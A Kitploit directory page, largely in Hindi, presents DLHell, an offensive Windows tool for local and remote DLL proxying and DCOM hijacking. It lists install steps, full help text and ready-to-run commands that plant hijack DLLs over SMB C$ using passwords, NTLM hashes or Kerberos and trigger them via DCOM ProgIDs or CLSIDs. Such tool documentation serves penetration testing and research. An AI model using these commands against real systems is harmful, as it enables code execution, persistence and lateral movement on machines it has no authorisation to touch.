Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
DLHell — Local & remote Windows DLL Proxying | Kitploit
उपकरण/GitHubGitHub/synacktiv/dlhell
Privilege EscalationPersistence MechanismsExploitationLateral MovementPost-ExploitationPayload Development
GitHubsynacktiv/dlhell

DLHell

Local & remote Windows DLL Proxying

रिपॉजिटरी देखें
172222 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

DLHell

DLHell DCOM स्थानीय और रिमोट Windows DLL प्रॉक्सिंग करता है।

इंस्टॉल

निम्नलिखित पैकेज आवश्यक हैं (आपके डिस्ट्रो पर निर्भर हो सकते हैं, निम्नलिखित उदाहरण Debian 12 के लिए है):

root@kitploit:~
sudo apt install -y g++-mingw-w64-x86-64-win32 binutils-mingw-w64-x86-64

pip निर्भरताएँ इंस्टॉल करें:

root@kitploit:~
pip3 install -r requirements.txt

त्वरित प्रारंभ

निम्नलिखित कमांड होस्ट 10.137.0.48 पर netutils.dll लाइब्रेरी को template.tpe टेम्पलेट फ़ाइल (C++ स्रोत हाइजैक लाइब्रेरी) से हाइजैक करती है, जो calc.exe लॉन्च करती है। मूल और प्रॉक्सी दोनों DLL को रिमोट टारगेट पर C$ शेयर के program files/windows nt/accessories/ फ़ोल्डर में रखा जाएगा।

कृपया -remote-target विकल्प के लिए Impacket सिंटैक्स का उपयोग करें।

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -remote-lib 'windows/system32/netutils.dll' -remote-target 'program files/windows nt/accessories/test.dll' -target 'domain/user:password@ip'

Kerberos प्रमाणीकरण का भी उपयोग किया जा सकता है:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -k -target wks-02.vault-tech.com -progid WordPad.Document.1

उपलब्ध CLSID और ProgID सूचीबद्ध करें:

root@kitploit:~
DLHell.py -list

उपयोग

root@kitploit:~
 ____  _     _   _      _ _
|  _ \| |   | | | | ___| | |
| | | | |   | |_| |/ _ \ | |
| |_| | |___|  _  |  __/ | |
|____/|_____|_| |_|\___|_|_|

DLHell v1.0

usage: DLHell.py [-h] [-local-lib LOCAL_LIB] [-remote-lib REMOTE_LIB] [-local-target LOCAL_TARGET]
                 [-remote-target REMOTE_TARGET] [-target TARGET] [-clsid CLSID] [-progid PROGID] -t T -c C
                 [-u U] [-l] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address]
                 [-target-ip ip address] [-port [destination port]]

DLL Hell - DLL Proxifier/Hijacker

options:
  -h, --help            show this help message and exit
  -local-lib LOCAL_LIB  Path of the remote library on the local system, ex: version.dll
  -remote-lib REMOTE_LIB
                        Path of the library on the remote system, ex: windows/system32/version.dll. WARNING:
                        Will connect using SMB on C$ share. Admin rights needed. Requires -target
  -local-target LOCAL_TARGET
                        The new name of the local output proxyfied library
  -remote-target REMOTE_TARGET
                        The new name of the remote proxyfied library. WARNING: Will connect using SMB on C$
                        share. Admin rights needed. Requires -target
  -target TARGET        [[domain/]username[:password]@]<targetName or address>
  -clsid CLSID          CLSID of DCOM class to activate
  -progid PROGID        ProgID of DCOM class to activate
  -t T, -template T     Template file to use for lib generation
  -c C, -command C      Command to execute using hijacked lib
  -u U, -user U         Name of the user to hijack (used to put DLLs in localappdata folder)
  -l, -list             Lists vulnerable CLSID & ProgID for DCOM Hijacking

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on
                        target parameters. If valid credentials cannot be found, it will use the ones
                        specified in the command line
  -aesKey hex key       AES key to use for Kerberos Authentication (128 or 256 bits)

connection:
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN)
                        specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as
                        target. This is useful when target is the NetBIOS name and you cannot resolve it
  -port [destination port]
                        Destination port to connect to SMB Server

स्थानीय DLL प्रॉक्सिंग

स्थानीय DLL निर्माण के लिए, -local-lib (प्रॉक्सी DLL का नाम) और -local-target (मूल DLL का नया नाम) विकल्पों का उपयोग करें:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -local-lib 'lib/netutils.dll' -local-target 'test.dll'

रिमोट DLL प्रॉक्सिंग (एडमिन अधिकार आवश्यक):

रिमोट DLL हाइजैकिंग के लिए, -target, -remote-lib (रिमोट होस्ट पर मूल DLL का नाम) और -local-target (मूल DLL का नया नाम) विकल्प निर्दिष्ट करें:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -remote-lib 'windows/system32/PROPSYS.dll' -remote-target 'windows/test.dll'

DCOM DLL प्रॉक्सिंग (एडमिन अधिकार आवश्यक)

DCOM DLL प्रॉक्सिंग का उपयोग -progid और -clsid विकल्पों के माध्यम से किया जा सकता है। उपलब्ध CLSID और ProgID की सूची निम्नलिखित कमांड से प्राप्त होती है:

root@kitploit:~
DLHell.py -list

आप dcom.json फ़ाइल में नए हाइजैक जोड़ सकते हैं, जो असुरक्षित लाइब्रेरियों के पथ परिभाषित करती है:

फिर, केवल ProgID या CLSID की आवश्यकता होती है:

  • मूल DLL प्राप्त करें
  • हाइजैक लाइब्रेरी बनाएं और संकलित करें
  • रिमोट होस्ट पर लाइब्रेरियाँ अपलोड करें
  • रिमोट DCOM क्लास सक्रिय करें

ProgID WordPad.Document.1 के लिए उदाहरण:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -progid WordPad.Document.1

CLSID 73FDDC80-AEA9-101A-98A7-00AA00374959 के लिए उदाहरण:

root@kitploit:~
DLHell.py -t template.tpe -c 'calc.exe' -target 'domain/user:password@ip' -clsid 73FDDC80-AEA9-101A-98A7-00AA00374959
टूल डाउनलोड करें